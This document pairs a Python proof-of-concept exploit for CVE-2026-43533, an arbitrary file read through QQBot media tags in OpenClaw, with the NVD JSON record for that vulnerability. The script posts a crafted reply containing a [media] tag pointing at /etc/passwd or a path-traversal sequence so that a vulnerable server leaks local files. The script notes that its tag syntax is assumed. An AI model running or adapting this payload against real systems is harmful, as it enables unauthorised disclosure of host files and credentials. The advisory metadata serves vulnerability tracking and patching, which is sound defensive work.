CVE-2026-43533

import requests # PoC for CVE-2026-43533: OpenClaw Arbitrary File Read via Media Tags # This script demonstrates how to craft a malicious message to read local files. def send_exploit(target_url, file_path): """ Sends a malicious payload to the OpenClaw QQBot endpoint. :param target_url: The API endpoint of the vulnerable OpenClaw instance. :param file_path: The absolute path or path traversal sequence to the target file (e.g., '/etc/passwd'). """ # Craft the malicious reply text containing the media tag. # The specific tag syntax depends on the implementation, assuming a standard [media]tag format. payload = { "reply_text": f"Here is the image you requested: [media]{file_path}[/media]" } try: print(f"[*] Sending payload to {target_url} to read {file_path}...") response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the bot's outbound response or media channel for the leaked file content.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example configuration TARGET = "http://localhost:8080/api/v1/message/reply" TARGET_FILE = "/etc/passwd" # or use path traversal: "../../../../../../../../etc/passwd" send_exploit(TARGET, TARGET_FILE)

{"cve": {"id": "CVE-2026-43533", "sourceIdentifier": "[email protected]", "published": "2026-05-05T12:16:19.610", "lastModified": "2026-05-07T01:53:48.660", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.4.10 contains an arbitrary file read vulnerability in QQBot media tags that allows attackers to reference host-local paths outside the intended media storage boundary. Attackers can craft malicious reply text containing media tags to disclose arbitrary local files through outbound media handling."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-23"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.4.10", "matchCriteriaId": "5B7C767E-3450-421C-BD9F-9CE0D760A0E5"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/604777e4414cc3b2ff8861f18f4fb04374c702c6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-66r7-m7xm-v49h", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-arbitrary-local-file-read-via-qqbot-media-tags", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}